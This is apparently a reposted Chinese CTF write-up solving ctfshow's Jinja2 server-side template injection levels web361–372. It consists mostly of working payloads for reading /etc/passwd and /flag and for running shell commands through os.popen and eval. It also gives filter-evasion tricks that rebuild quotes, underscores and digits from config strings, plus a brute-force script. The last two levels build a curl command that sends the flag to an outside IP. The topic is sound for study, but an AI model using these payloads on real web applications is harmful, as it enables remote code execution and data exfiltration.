web入门--ssti

SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

关于SSTI的python类的知识
python 中的 魔术方法

dict:保存类实例或对象实例的属性变量键值对字典
class:返回调用的参数类型
mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases:返回类型列表
subclasses:返回object的子类
init:类的初始化方法
globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

base和 mro都是用来寻找基类的。

//获取对象类
''.__class__      	
().__class__		
[].__class__		
 "".__class__		
 
__ init__方法用于将对象实例化,
__ globals__获取function所处空间下可使用的module、方法以及所有变量。
__ import__动态加载类和函数,也就是导入模块,经常用于导入os模块
//基类
{{''.__class__.__base__}}		(,)
类型对象的全部基类,以元组形式,类型的实例通常没有属性
{{''.__class__.__mro__}} 此属性是由类组成的元组,在方法解析期间会基于它来查找基类

[].__class__.__bases__[0]		
//返回子类
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[-1].__subclasses__()
可以从返回的子类中找到可以利用的类

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类

常见SSTI的payload

#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#命令执行(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__=='catch_warnings' %}	
    {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}

#读文件(变种)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}

web361

注入点是?name。

?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

利用的是os._wrap_close类

web入门--ssti_第1张图片

得到flag

ctfshow{77ca18dd-38c5-4a9c-a735-522a8af345c9}

web362

可以用以下已有的函数,去得到__builtins__,然后用eval就可以了:

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

web入门--ssti_第2张图片

 这里从羽师傅那里学习到了一种新的姿势:

?name={{x.__init__.__globals__['__builtins__']}}

这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。

还学习了一下用{% %}来SSTI:

{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

web363

过滤了单双引号,可以用request来绕过:

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

web入门--ssti_第3张图片

得到flag

ctfshow{b67808f1-1558-4cf7-94ad-80592862db91} 

也可以考虑字符串拼接,这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}

相当于

?name={{url_for.__globals__['os']}}

也可以先把chr给找出来,然后用chr拼接就不需要引号了:

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

web入门--ssti_第4张图片

也可以利用过滤器,类似这样的(()|select|string)[24]来拼接

web364

(加在前面,当时这里有一个误区,以为values的值仅仅是post,其实也包含get,所以valuess也可以。)
过滤了args,本来考虑用request.values,但是发现post方法不被allow,所以改成cookie:

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag

web入门--ssti_第5张图片

 得到flag

ctfshow{f5d577a1-055e-462c-a29d-c2f899cc1529}

web365

过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__等绕过都可以。

使用request绕过的话可以这样:

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

web入门--ssti_第6张图片

得到flag

ctfshow{60e1dfbd-6c10-42ed-b0f1-dea0e3351f36} 

另外一种payload

payload
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web入门--ssti_第7张图片

得到flag 

web366

在之前的基础上又ban了下划线_,这样__globals__这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:
 

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

web入门--ssti_第8张图片

 得到flag

ctfshow{606285f5-bd61-46bf-b5fc-caed9f9801f1}

web367

还ban了os,那就把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。

?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

web入门--ssti_第9张图片

得到flag

ctfshow{cb273f45-704d-4f92-b6aa-960c0fbdcace} 

web368

ban了{undefined{,就要想办法拿{% %}来绕过。把上一题的改一下就能直接用了:

?a=__globals__&b=os&c=cat /flag&name={% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}

web入门--ssti_第10张图片

得到flag

ctfshow{3a9044de-d00e-43fe-b4b2-167e30cdca9e} 

web369

终于把request给ban了,就想办法自己凑字符了,这里拿config来凑。但是一个问题是_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,写个脚本:

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("

") word=r.text[location+4:location+5] if word==j.lower(): print("(config|string|list).pop(%d).lower() == %s"%(i,j)) result+="(config|string|list).pop(%d).lower()~"%(i) break print(result[:len(result)-1])

最终payload如下:

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

web入门--ssti_第11张图片

得到flag

ctfshow{b0e4e9a3-b119-4791-8857-c57425b8e3d9} 

web370

简单测试可知,这题又把数字也过滤了,那就想办法构造出数字。

还是参考羽师傅的:

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

分析如下

几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

web入门--ssti_第12张图片

 得到flag

ctfshow{386f8c00-c079-4f47-91ab-76c57457a8ce} 

web371

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print',由于过滤了 print,这里采用反弹 shell 的方式来获取 FLAG

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

print禁用了,只能用curl外带了

?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web372

先 FUZZ 一下得到黑名单:'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print', 'count',由于过滤了 print,这里采用采用反弹 shell 的方式来获取 FLAG,过滤的 count 用 length 来代替

{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

可以用全角数字代替正常数字

def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

你可能感兴趣的:(web安全)